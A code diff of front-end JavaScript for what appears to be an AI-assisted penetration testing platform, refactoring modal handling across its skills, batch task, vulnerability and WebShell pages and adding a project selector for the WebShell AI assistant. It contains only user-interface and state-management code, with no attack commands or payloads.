@@ -40,7 +40,7 @@ function shouldSkipSkillsAutoRefresh() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const modal = document.getElementById('skill-modal');
|
const modal = document.getElementById('skill-modal');
|
||||||
if (modal && modal.style.display === 'flex') {
|
if (modal && isAppModalOpen('skill-modal')) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -465,7 +465,7 @@ function showAddSkillModal() {
|
|||||||
const addTa = document.getElementById('skill-content-add');
|
const addTa = document.getElementById('skill-content-add');
|
||||||
if (addTa) addTa.value = '';
|
if (addTa) addTa.value = '';
|
||||||
|
|
||||||
modal.style.display = 'flex';
|
openAppModal('skill-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
function skillPackagePathDepth(path) {
|
function skillPackagePathDepth(path) {
|
||||||
@@ -555,6 +555,22 @@ async function selectSkillPackageFile(skillId, path, opts) {
|
|||||||
// 编辑skill
|
// 编辑skill
|
||||||
async function editSkill(skillId) {
|
async function editSkill(skillId) {
|
||||||
wireSkillModalOnce();
|
wireSkillModalOnce();
|
||||||
|
const modal = document.getElementById('skill-modal');
|
||||||
|
if (!modal) return;
|
||||||
|
skillModalAddMode = false;
|
||||||
|
skillFileDirty = false;
|
||||||
|
skillActivePath = 'SKILL.md';
|
||||||
|
const pkg = document.getElementById('skill-package-editor');
|
||||||
|
const addEd = document.getElementById('skill-add-editor');
|
||||||
|
if (pkg) pkg.style.display = 'block';
|
||||||
|
if (addEd) addEd.style.display = 'none';
|
||||||
|
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
|
||||||
|
document.getElementById('skill-name').value = '';
|
||||||
|
document.getElementById('skill-name').disabled = true;
|
||||||
|
document.getElementById('skill-description').value = '';
|
||||||
|
const ta = document.getElementById('skill-content');
|
||||||
|
if (ta) ta.value = '';
|
||||||
|
openAppModal('skill-modal', { focus: false });
|
||||||
try {
|
try {
|
||||||
const [detailRes, filesRes] = await Promise.all([
|
const [detailRes, filesRes] = await Promise.all([
|
||||||
apiFetch(`/api/skills/${encodeURIComponent(skillId)}?depth=full`),
|
apiFetch(`/api/skills/${encodeURIComponent(skillId)}?depth=full`),
|
||||||
@@ -565,39 +581,24 @@ async function editSkill(skillId) {
|
|||||||
}
|
}
|
||||||
const data = await detailRes.json();
|
const data = await detailRes.json();
|
||||||
const skill = data.skill;
|
const skill = data.skill;
|
||||||
|
let files = [];
|
||||||
const modal = document.getElementById('skill-modal');
|
|
||||||
if (!modal) return;
|
|
||||||
|
|
||||||
skillModalAddMode = false;
|
|
||||||
skillFileDirty = false;
|
|
||||||
skillActivePath = 'SKILL.md';
|
|
||||||
const pkg = document.getElementById('skill-package-editor');
|
|
||||||
const addEd = document.getElementById('skill-add-editor');
|
|
||||||
if (pkg) pkg.style.display = 'block';
|
|
||||||
if (addEd) addEd.style.display = 'none';
|
|
||||||
|
|
||||||
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
|
|
||||||
document.getElementById('skill-name').value = skill.id || skillId;
|
|
||||||
document.getElementById('skill-name').disabled = true;
|
|
||||||
document.getElementById('skill-description').value = skill.description || '';
|
|
||||||
|
|
||||||
if (filesRes.ok) {
|
if (filesRes.ok) {
|
||||||
const fd = await filesRes.json();
|
const fd = await filesRes.json();
|
||||||
skillPackageFiles = fd.files || [];
|
files = fd.files || [];
|
||||||
} else {
|
|
||||||
skillPackageFiles = [];
|
|
||||||
}
|
}
|
||||||
renderSkillPackageTree();
|
|
||||||
|
|
||||||
const ta = document.getElementById('skill-content');
|
|
||||||
if (ta) ta.value = skill.content || '';
|
|
||||||
const hint = document.getElementById('skill-body-hint-edit');
|
|
||||||
if (hint) hint.style.display = 'block';
|
|
||||||
|
|
||||||
currentEditingSkillName = skillId;
|
currentEditingSkillName = skillId;
|
||||||
modal.style.display = 'flex';
|
deferModalContent(() => {
|
||||||
|
document.getElementById('skill-name').value = skill.id || skillId;
|
||||||
|
document.getElementById('skill-description').value = skill.description || '';
|
||||||
|
skillPackageFiles = files;
|
||||||
|
renderSkillPackageTree();
|
||||||
|
if (ta) ta.value = skill.content || '';
|
||||||
|
const hint = document.getElementById('skill-body-hint-edit');
|
||||||
|
if (hint) hint.style.display = 'block';
|
||||||
|
document.getElementById('skill-name')?.focus();
|
||||||
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeSkillModal();
|
||||||
console.error('加载skill详情失败:', error);
|
console.error('加载skill详情失败:', error);
|
||||||
showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error');
|
showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error');
|
||||||
}
|
}
|
||||||
@@ -659,7 +660,7 @@ async function viewSkill(skillId) {
|
|||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
modal.style.display = 'flex';
|
openAppModal(modal);
|
||||||
|
|
||||||
const close = () => closeSkillViewModal();
|
const close = () => closeSkillViewModal();
|
||||||
modal.querySelectorAll('[data-skill-view-close]').forEach(el => el.addEventListener('click', close));
|
modal.querySelectorAll('[data-skill-view-close]').forEach(el => el.addEventListener('click', close));
|
||||||
@@ -691,23 +692,22 @@ async function viewSkill(skillId) {
|
|||||||
|
|
||||||
// 关闭查看模态框
|
// 关闭查看模态框
|
||||||
function closeSkillViewModal() {
|
function closeSkillViewModal() {
|
||||||
|
closeAppModal('skill-view-modal');
|
||||||
const modal = document.getElementById('skill-view-modal');
|
const modal = document.getElementById('skill-view-modal');
|
||||||
if (modal) {
|
if (modal) {
|
||||||
modal.remove();
|
modal.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭skill模态框
|
// 关闭skill模态框
|
||||||
function closeSkillModal() {
|
function closeSkillModal() {
|
||||||
const modal = document.getElementById('skill-modal');
|
closeAppModal('skill-modal');
|
||||||
if (modal) {
|
currentEditingSkillName = null;
|
||||||
modal.style.display = 'none';
|
skillModalAddMode = true;
|
||||||
currentEditingSkillName = null;
|
skillFileDirty = false;
|
||||||
skillModalAddMode = true;
|
skillPackageFiles = [];
|
||||||
skillFileDirty = false;
|
skillActivePath = 'SKILL.md';
|
||||||
skillPackageFiles = [];
|
|
||||||
skillActivePath = 'SKILL.md';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 保存skill
|
// 保存skill
|
||||||
|
|||||||
+18
-25
@@ -914,18 +914,14 @@ async function showBatchImportModal() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
await refreshBatchProjectSelectOptions();
|
await refreshBatchProjectSelectOptions();
|
||||||
|
|
||||||
modal.style.display = 'block';
|
openAppModal('batch-import-modal', { focusEl: input });
|
||||||
input.focus();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭新建任务模态框
|
// 关闭新建任务模态框
|
||||||
function closeBatchImportModal() {
|
function closeBatchImportModal() {
|
||||||
const modal = document.getElementById('batch-import-modal');
|
closeAppModal('batch-import-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleBatchScheduleModeChange() {
|
function handleBatchScheduleModeChange() {
|
||||||
@@ -1350,7 +1346,13 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
const addTaskBtn = document.getElementById('batch-queue-add-task-btn');
|
const addTaskBtn = document.getElementById('batch-queue-add-task-btn');
|
||||||
|
|
||||||
if (!modal || !content) return;
|
if (!modal || !content) return;
|
||||||
|
|
||||||
|
const alreadyOpen = isAppModalOpen('batch-queue-detail-modal');
|
||||||
|
if (!alreadyOpen) {
|
||||||
|
if (content) content.innerHTML = '<p style="color:#64748b;margin:0;">…</p>';
|
||||||
|
openAppModal('batch-queue-detail-modal', { focus: false });
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// 加载角色列表(如果还未加载)
|
// 加载角色列表(如果还未加载)
|
||||||
let loadedRoles = [];
|
let loadedRoles = [];
|
||||||
@@ -1459,6 +1461,7 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
const sameQueueAsBefore = prevDetailFor === queue.id;
|
const sameQueueAsBefore = prevDetailFor === queue.id;
|
||||||
const savedTechDetailsOpen = sameQueueAsBefore && !!(prevTechDetails && prevTechDetails.open);
|
const savedTechDetailsOpen = sameQueueAsBefore && !!(prevTechDetails && prevTechDetails.open);
|
||||||
|
|
||||||
|
deferModalContent(function () {
|
||||||
content.innerHTML = `
|
content.innerHTML = `
|
||||||
<div class="batch-queue-detail-layout" data-bq-detail-for="${escapeHtml(queue.id)}">
|
<div class="batch-queue-detail-layout" data-bq-detail-for="${escapeHtml(queue.id)}">
|
||||||
<section class="batch-queue-detail-hero">
|
<section class="batch-queue-detail-hero">
|
||||||
@@ -1529,8 +1532,7 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
if (newTechDetails && savedTechDetailsOpen) {
|
if (newTechDetails && savedTechDetailsOpen) {
|
||||||
newTechDetails.open = true;
|
newTechDetails.open = true;
|
||||||
}
|
}
|
||||||
|
});
|
||||||
modal.style.display = 'block';
|
|
||||||
|
|
||||||
// 仅运行中定时拉取详情;其它状态应停止,避免 innerHTML 重绘把 <details> 等 UI 打回默认态
|
// 仅运行中定时拉取详情;其它状态应停止,避免 innerHTML 重绘把 <details> 等 UI 打回默认态
|
||||||
if (queue.status === 'running') {
|
if (queue.status === 'running') {
|
||||||
@@ -1540,6 +1542,7 @@ async function showBatchQueueDetail(queueId) {
|
|||||||
}
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('获取队列详情失败:', error);
|
console.error('获取队列详情失败:', error);
|
||||||
|
closeBatchQueueDetailModal();
|
||||||
alert(_t('tasks.getQueueDetailFailed') + ': ' + error.message);
|
alert(_t('tasks.getQueueDetailFailed') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1708,10 +1711,7 @@ async function deleteBatchQueueFromList(queueId) {
|
|||||||
|
|
||||||
// 关闭批量任务队列详情模态框
|
// 关闭批量任务队列详情模态框
|
||||||
function closeBatchQueueDetailModal() {
|
function closeBatchQueueDetailModal() {
|
||||||
const modal = document.getElementById('batch-queue-detail-modal');
|
closeAppModal('batch-queue-detail-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
batchQueuesState.currentQueueId = null;
|
batchQueuesState.currentQueueId = null;
|
||||||
stopBatchQueueRefresh();
|
stopBatchQueueRefresh();
|
||||||
}
|
}
|
||||||
@@ -1730,7 +1730,7 @@ function startBatchQueueRefresh(queueId) {
|
|||||||
content.querySelector('.bq-inline-edit-controls') ||
|
content.querySelector('.bq-inline-edit-controls') ||
|
||||||
content.querySelector('.batch-task-inline-edit')
|
content.querySelector('.batch-task-inline-edit')
|
||||||
);
|
);
|
||||||
if ((addModal && addModal.style.display === 'block') || hasInlineEdit) {
|
if ((addModal && isAppModalOpen('add-batch-task-modal')) || hasInlineEdit) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (batchQueuesState._bqDetailRefreshing) {
|
if (batchQueuesState._bqDetailRefreshing) {
|
||||||
@@ -1891,12 +1891,7 @@ function showAddBatchTaskModal() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
messageInput.value = '';
|
messageInput.value = '';
|
||||||
modal.style.display = 'block';
|
openAppModal('add-batch-task-modal', { focusEl: messageInput });
|
||||||
|
|
||||||
// 聚焦到输入框
|
|
||||||
setTimeout(() => {
|
|
||||||
messageInput.focus();
|
|
||||||
}, 100);
|
|
||||||
|
|
||||||
// 清理旧的事件监听器
|
// 清理旧的事件监听器
|
||||||
if (showAddBatchTaskModal._escHandler) {
|
if (showAddBatchTaskModal._escHandler) {
|
||||||
@@ -1940,9 +1935,7 @@ function closeAddBatchTaskModal() {
|
|||||||
}
|
}
|
||||||
const modal = document.getElementById('add-batch-task-modal');
|
const modal = document.getElementById('add-batch-task-modal');
|
||||||
const messageInput = document.getElementById('add-task-message');
|
const messageInput = document.getElementById('add-task-message');
|
||||||
if (modal) {
|
closeAppModal('add-batch-task-modal');
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
if (messageInput) {
|
if (messageInput) {
|
||||||
messageInput.value = '';
|
messageInput.value = '';
|
||||||
}
|
}
|
||||||
@@ -2462,7 +2455,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
const detailModal = document.getElementById('batch-queue-detail-modal');
|
const detailModal = document.getElementById('batch-queue-detail-modal');
|
||||||
if (
|
if (
|
||||||
detailModal &&
|
detailModal &&
|
||||||
detailModal.style.display === 'block' &&
|
isAppModalOpen('batch-queue-detail-modal') &&
|
||||||
batchQueuesState.currentQueueId
|
batchQueuesState.currentQueueId
|
||||||
) {
|
) {
|
||||||
showBatchQueueDetail(batchQueuesState.currentQueueId);
|
showBatchQueueDetail(batchQueuesState.currentQueueId);
|
||||||
|
|||||||
@@ -33,7 +33,8 @@ function vulnStatusLabel(code) {
|
|||||||
open: 'vulnerabilityPage.statusOpen',
|
open: 'vulnerabilityPage.statusOpen',
|
||||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||||
fixed: 'vulnerabilityPage.statusFixed',
|
fixed: 'vulnerabilityPage.statusFixed',
|
||||||
false_positive: 'vulnerabilityPage.statusFalsePositive'
|
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||||
|
ignored: 'vulnerabilityPage.statusIgnored'
|
||||||
};
|
};
|
||||||
return m[code] ? vulnT(m[code]) : code;
|
return m[code] ? vulnT(m[code]) : code;
|
||||||
}
|
}
|
||||||
@@ -1089,37 +1090,36 @@ async function showAddVulnerabilityModal() {
|
|||||||
document.getElementById('vulnerability-impact').value = '';
|
document.getElementById('vulnerability-impact').value = '';
|
||||||
document.getElementById('vulnerability-recommendation').value = '';
|
document.getElementById('vulnerability-recommendation').value = '';
|
||||||
|
|
||||||
document.getElementById('vulnerability-modal').style.display = 'block';
|
openAppModal('vulnerability-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑漏洞
|
// 编辑漏洞
|
||||||
async function editVulnerability(id) {
|
async function editVulnerability(id) {
|
||||||
try {
|
try {
|
||||||
const response = await apiFetch(`/api/vulnerabilities/${id}`);
|
|
||||||
if (!response.ok) throw new Error(vulnT('vulnerabilityPage.fetchFailed'));
|
|
||||||
|
|
||||||
const vuln = await response.json();
|
|
||||||
currentVulnerabilityId = id;
|
currentVulnerabilityId = id;
|
||||||
document.getElementById('vulnerability-modal-title').textContent = vulnT('vulnerability.editVuln');
|
document.getElementById('vulnerability-modal-title').textContent = vulnT('vulnerability.editVuln');
|
||||||
|
openAppModal('vulnerability-modal', { focus: false });
|
||||||
// 填充表单
|
const response = await apiFetch(`/api/vulnerabilities/${id}`);
|
||||||
document.getElementById('vulnerability-conversation-id').value = vuln.conversation_id || '';
|
if (!response.ok) throw new Error(vulnT('vulnerabilityPage.fetchFailed'));
|
||||||
document.getElementById('vulnerability-conversation-tag').value = vuln.conversation_tag || '';
|
const vuln = await response.json();
|
||||||
document.getElementById('vulnerability-task-tag').value = vuln.task_tag || '';
|
deferModalContent(async () => {
|
||||||
document.getElementById('vulnerability-title').value = vuln.title || '';
|
document.getElementById('vulnerability-conversation-id').value = vuln.conversation_id || '';
|
||||||
document.getElementById('vulnerability-description').value = vuln.description || '';
|
document.getElementById('vulnerability-conversation-tag').value = vuln.conversation_tag || '';
|
||||||
document.getElementById('vulnerability-severity').value = vuln.severity || '';
|
document.getElementById('vulnerability-task-tag').value = vuln.task_tag || '';
|
||||||
document.getElementById('vulnerability-status').value = vuln.status || 'open';
|
document.getElementById('vulnerability-title').value = vuln.title || '';
|
||||||
document.getElementById('vulnerability-type').value = vuln.type || '';
|
document.getElementById('vulnerability-description').value = vuln.description || '';
|
||||||
document.getElementById('vulnerability-target').value = vuln.target || '';
|
document.getElementById('vulnerability-severity').value = vuln.severity || '';
|
||||||
document.getElementById('vulnerability-proof').value = vuln.proof || '';
|
document.getElementById('vulnerability-status').value = vuln.status || 'open';
|
||||||
document.getElementById('vulnerability-impact').value = vuln.impact || '';
|
document.getElementById('vulnerability-type').value = vuln.type || '';
|
||||||
document.getElementById('vulnerability-recommendation').value = vuln.recommendation || '';
|
document.getElementById('vulnerability-target').value = vuln.target || '';
|
||||||
|
document.getElementById('vulnerability-proof').value = vuln.proof || '';
|
||||||
await populateVulnerabilityModalProjectSelect(vuln.project_id || '');
|
document.getElementById('vulnerability-impact').value = vuln.impact || '';
|
||||||
|
document.getElementById('vulnerability-recommendation').value = vuln.recommendation || '';
|
||||||
document.getElementById('vulnerability-modal').style.display = 'block';
|
await populateVulnerabilityModalProjectSelect(vuln.project_id || '');
|
||||||
|
document.getElementById('vulnerability-title')?.focus();
|
||||||
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeVulnerabilityModal();
|
||||||
console.error('加载漏洞失败:', error);
|
console.error('加载漏洞失败:', error);
|
||||||
alert(vulnT('vulnerability.loadFailed') + ': ' + error.message);
|
alert(vulnT('vulnerability.loadFailed') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
@@ -1232,7 +1232,7 @@ async function deleteVulnerability(id) {
|
|||||||
|
|
||||||
// 关闭漏洞模态框
|
// 关闭漏洞模态框
|
||||||
function closeVulnerabilityModal() {
|
function closeVulnerabilityModal() {
|
||||||
document.getElementById('vulnerability-modal').style.display = 'none';
|
closeAppModal('vulnerability-modal');
|
||||||
currentVulnerabilityId = null;
|
currentVulnerabilityId = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1748,7 +1748,7 @@ async function refreshVulnerabilityProjectFilter() {
|
|||||||
sel.innerHTML = html;
|
sel.innerHTML = html;
|
||||||
if (cur) sel.value = cur;
|
if (cur) sel.value = cur;
|
||||||
const modalSel = document.getElementById('vulnerability-project-id');
|
const modalSel = document.getElementById('vulnerability-project-id');
|
||||||
if (modalSel && document.getElementById('vulnerability-modal')?.style.display === 'block') {
|
if (modalSel && isAppModalOpen('vulnerability-modal')) {
|
||||||
const modalCur = modalSel.value || '';
|
const modalCur = modalSel.value || '';
|
||||||
modalSel.innerHTML = buildVulnerabilityProjectOptionsHtml(modalCur);
|
modalSel.innerHTML = buildVulnerabilityProjectOptionsHtml(modalCur);
|
||||||
modalSel.value = modalCur;
|
modalSel.value = modalCur;
|
||||||
|
|||||||
+290
-52
@@ -27,6 +27,9 @@ const WEBSHELL_HISTORY_MAX = 100;
|
|||||||
let webshellClearInProgress = false;
|
let webshellClearInProgress = false;
|
||||||
// AI 助手:按连接 ID 保存对话 ID,便于多轮对话
|
// AI 助手:按连接 ID 保存对话 ID,便于多轮对话
|
||||||
let webshellAiConvMap = {};
|
let webshellAiConvMap = {};
|
||||||
|
// AI 助手:项目绑定(已有对话按 convId,新对话按 connId 草稿)
|
||||||
|
let webshellAiProjectByConvId = {};
|
||||||
|
let webshellAiDraftProjectByConn = {};
|
||||||
let webshellAiSending = false;
|
let webshellAiSending = false;
|
||||||
let webshellAiAbortController = null; // AbortController for current AI stream
|
let webshellAiAbortController = null; // AbortController for current AI stream
|
||||||
let webshellAiStreamReader = null; // Current ReadableStreamDefaultReader
|
let webshellAiStreamReader = null; // Current ReadableStreamDefaultReader
|
||||||
@@ -266,6 +269,7 @@ function wsToggleRolePanel() {
|
|||||||
var isOpen = panel.style.display === 'flex';
|
var isOpen = panel.style.display === 'flex';
|
||||||
if (isOpen) { wsCloseRolePanel(); return; }
|
if (isOpen) { wsCloseRolePanel(); return; }
|
||||||
wsCloseAgentModePanel();
|
wsCloseAgentModePanel();
|
||||||
|
wsCloseProjectPanel();
|
||||||
panel.style.display = 'flex';
|
panel.style.display = 'flex';
|
||||||
}
|
}
|
||||||
function wsCloseRolePanel() {
|
function wsCloseRolePanel() {
|
||||||
@@ -340,6 +344,7 @@ function wsToggleAgentModePanel() {
|
|||||||
var isOpen = panel.style.display === 'flex';
|
var isOpen = panel.style.display === 'flex';
|
||||||
if (isOpen) { wsCloseAgentModePanel(); return; }
|
if (isOpen) { wsCloseAgentModePanel(); return; }
|
||||||
wsCloseRolePanel();
|
wsCloseRolePanel();
|
||||||
|
wsCloseProjectPanel();
|
||||||
panel.style.display = 'flex';
|
panel.style.display = 'flex';
|
||||||
}
|
}
|
||||||
function wsCloseAgentModePanel() {
|
function wsCloseAgentModePanel() {
|
||||||
@@ -347,10 +352,204 @@ function wsCloseAgentModePanel() {
|
|||||||
if (panel) panel.style.display = 'none';
|
if (panel) panel.style.display = 'none';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ─── WebShell AI 项目选择器(与主「对话」页对齐) ───
|
||||||
|
|
||||||
|
function wsProjectT(key, fallback) {
|
||||||
|
if (typeof window.t === 'function') {
|
||||||
|
var v = window.t(key);
|
||||||
|
if (v && v !== key) return v;
|
||||||
|
}
|
||||||
|
return fallback;
|
||||||
|
}
|
||||||
|
|
||||||
|
function getWebshellAiConvId(conn) {
|
||||||
|
if (!conn || !conn.id) return '';
|
||||||
|
return webshellAiConvMap[conn.id] || '';
|
||||||
|
}
|
||||||
|
|
||||||
|
function getWebshellAiProjectSelection(conn) {
|
||||||
|
if (!conn || !conn.id) return '';
|
||||||
|
var convId = getWebshellAiConvId(conn);
|
||||||
|
if (convId) return webshellAiProjectByConvId[convId] || '';
|
||||||
|
return webshellAiDraftProjectByConn[conn.id] || '';
|
||||||
|
}
|
||||||
|
|
||||||
|
function wsSetWebshellAiProject(conn, projectId) {
|
||||||
|
if (!conn || !conn.id) return;
|
||||||
|
var pid = projectId || '';
|
||||||
|
var convId = getWebshellAiConvId(conn);
|
||||||
|
if (convId) {
|
||||||
|
if (pid) webshellAiProjectByConvId[convId] = pid;
|
||||||
|
else delete webshellAiProjectByConvId[convId];
|
||||||
|
} else if (pid) {
|
||||||
|
webshellAiDraftProjectByConn[conn.id] = pid;
|
||||||
|
} else {
|
||||||
|
delete webshellAiDraftProjectByConn[conn.id];
|
||||||
|
}
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
|
}
|
||||||
|
|
||||||
|
function wsIsActiveProjectId(id) {
|
||||||
|
if (!id) return false;
|
||||||
|
var map = window.projectNameById || {};
|
||||||
|
return !!map[id];
|
||||||
|
}
|
||||||
|
|
||||||
|
function wsResolveWebshellAiProjectSelection(conn) {
|
||||||
|
var raw = getWebshellAiProjectSelection(conn);
|
||||||
|
if (!raw) return '';
|
||||||
|
return wsIsActiveProjectId(raw) ? raw : '';
|
||||||
|
}
|
||||||
|
|
||||||
|
function wsUpdateProjectButtonLabel() {
|
||||||
|
var textEl = document.getElementById('ws-project-text');
|
||||||
|
if (!textEl || !webshellCurrentConn) return;
|
||||||
|
var id = wsResolveWebshellAiProjectSelection(webshellCurrentConn);
|
||||||
|
var nameMap = window.projectNameById || {};
|
||||||
|
textEl.textContent = id && nameMap[id] ? nameMap[id] : wsProjectT('projects.noProject', '无项目');
|
||||||
|
}
|
||||||
|
|
||||||
|
async function wsRenderProjectPanelList() {
|
||||||
|
var list = document.getElementById('ws-project-list');
|
||||||
|
if (!list || !webshellCurrentConn) return;
|
||||||
|
var conn = webshellCurrentConn;
|
||||||
|
var selected = wsResolveWebshellAiProjectSelection(conn);
|
||||||
|
var projects = [];
|
||||||
|
try {
|
||||||
|
if (typeof window.fetchAllProjects === 'function') {
|
||||||
|
projects = await window.fetchAllProjects(false);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
list.innerHTML = '<div class="chat-project-panel-empty">' + escapeHtml(wsProjectT('projects.loadFailedRetry', '加载失败,请重试')) + '</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (typeof window.rebuildProjectNameMap === 'function') {
|
||||||
|
window.rebuildProjectNameMap(projects);
|
||||||
|
}
|
||||||
|
var activeProjects = projects.filter(function (p) { return p.status !== 'archived'; });
|
||||||
|
var items = [{ id: '', name: wsProjectT('projects.noProject', '无项目'), description: wsProjectT('projects.noProjectDescription', '不绑定项目') }].concat(activeProjects);
|
||||||
|
list.innerHTML = '';
|
||||||
|
items.forEach(function (p) {
|
||||||
|
var isNone = !p.id;
|
||||||
|
var isSelected = isNone ? !selected : selected === p.id;
|
||||||
|
var desc = isNone
|
||||||
|
? (p.description || '')
|
||||||
|
: ((p.description || '').trim().slice(0, 80) || wsProjectT('projects.sharedFactBoard', '共享事实黑板'));
|
||||||
|
var btn = document.createElement('button');
|
||||||
|
btn.type = 'button';
|
||||||
|
btn.className = 'role-selection-item-main' + (isSelected ? ' selected' : '');
|
||||||
|
btn.setAttribute('role', 'option');
|
||||||
|
btn.onclick = function () { wsSelectProject(p.id || ''); };
|
||||||
|
btn.innerHTML = '<div class="role-selection-item-icon-main">' + (isNone ? '—' : '📁') + '</div>' +
|
||||||
|
'<div class="role-selection-item-content-main">' +
|
||||||
|
'<div class="role-selection-item-name-main">' + escapeHtml(p.name || '未命名') + '</div>' +
|
||||||
|
'<div class="role-selection-item-description-main">' + escapeHtml(desc) + '</div></div>' +
|
||||||
|
(isSelected ? '<div class="role-selection-checkmark-main">✓</div>' : '');
|
||||||
|
list.appendChild(btn);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function wsRenderProjectPanel() {
|
||||||
|
var list = document.getElementById('ws-project-list');
|
||||||
|
if (!list) return;
|
||||||
|
list.innerHTML = '<div class="chat-project-panel-loading">' + escapeHtml(wsProjectT('common.loading', '加载中...')) + '</div>';
|
||||||
|
await wsRenderProjectPanelList();
|
||||||
|
}
|
||||||
|
|
||||||
|
function wsCloseProjectPanel() {
|
||||||
|
var panel = document.getElementById('ws-project-panel');
|
||||||
|
var btn = document.getElementById('ws-project-btn');
|
||||||
|
if (panel) panel.style.display = 'none';
|
||||||
|
if (btn) {
|
||||||
|
btn.classList.remove('active');
|
||||||
|
btn.setAttribute('aria-expanded', 'false');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function wsToggleProjectPanel() {
|
||||||
|
var panel = document.getElementById('ws-project-panel');
|
||||||
|
var btn = document.getElementById('ws-project-btn');
|
||||||
|
if (!panel) return;
|
||||||
|
var isHidden = panel.style.display === 'none' || !panel.style.display;
|
||||||
|
if (!isHidden) {
|
||||||
|
wsCloseProjectPanel();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
wsCloseRolePanel();
|
||||||
|
wsCloseAgentModePanel();
|
||||||
|
panel.style.display = 'flex';
|
||||||
|
if (btn) {
|
||||||
|
btn.classList.add('active');
|
||||||
|
btn.setAttribute('aria-expanded', 'true');
|
||||||
|
}
|
||||||
|
await wsRenderProjectPanel();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function wsSelectProject(projectId) {
|
||||||
|
wsCloseProjectPanel();
|
||||||
|
await applyWebshellAiProjectSelection(projectId || '');
|
||||||
|
}
|
||||||
|
|
||||||
|
async function applyWebshellAiProjectSelection(projectId) {
|
||||||
|
var conn = webshellCurrentConn;
|
||||||
|
if (!conn || !conn.id) return;
|
||||||
|
var prev = getWebshellAiProjectSelection(conn);
|
||||||
|
if (projectId === prev) {
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var convId = getWebshellAiConvId(conn);
|
||||||
|
if (convId) {
|
||||||
|
try {
|
||||||
|
var res = await apiFetch('/api/conversations/' + encodeURIComponent(convId) + '/project', {
|
||||||
|
method: 'PUT',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ projectId: projectId }),
|
||||||
|
});
|
||||||
|
if (!res.ok) {
|
||||||
|
var err = await res.json().catch(function () { return {}; });
|
||||||
|
throw new Error(err.error || res.statusText);
|
||||||
|
}
|
||||||
|
wsSetWebshellAiProject(conn, projectId);
|
||||||
|
if (typeof showNotification === 'function') {
|
||||||
|
showNotification(
|
||||||
|
projectId ? wsProjectT('projects.projectBound', '已绑定项目') : wsProjectT('projects.projectUnbound', '已解除项目绑定'),
|
||||||
|
'success'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error(e);
|
||||||
|
alert(wsProjectT('projects.updateProjectBindingFailed', '更新项目绑定失败') + ': ' + (e.message || e));
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
wsSetWebshellAiProject(conn, projectId);
|
||||||
|
}
|
||||||
|
wsUpdateProjectButtonLabel();
|
||||||
|
}
|
||||||
|
|
||||||
|
function showNewProjectModalFromWebshellAi() {
|
||||||
|
wsCloseProjectPanel();
|
||||||
|
if (webshellCurrentConn && webshellCurrentConn.id) {
|
||||||
|
window._projectModalFromWebshellConnId = webshellCurrentConn.id;
|
||||||
|
}
|
||||||
|
window._projectModalFromChat = false;
|
||||||
|
if (typeof showNewProjectModal === 'function') showNewProjectModal();
|
||||||
|
}
|
||||||
|
|
||||||
|
window.applyWebshellAiProjectSelection = applyWebshellAiProjectSelection;
|
||||||
|
window.showNewProjectModalFromWebshellAi = showNewProjectModalFromWebshellAi;
|
||||||
|
window.wsToggleProjectPanel = wsToggleProjectPanel;
|
||||||
|
window.wsCloseProjectPanel = wsCloseProjectPanel;
|
||||||
|
|
||||||
|
// ─── end WebShell AI 项目选择器 ───
|
||||||
|
|
||||||
/** 当 WebShell AI Tab 可见时刷新选择器显示(同步主页可能的更改) */
|
/** 当 WebShell AI Tab 可见时刷新选择器显示(同步主页可能的更改) */
|
||||||
function wsRefreshSelectors() {
|
function wsRefreshSelectors() {
|
||||||
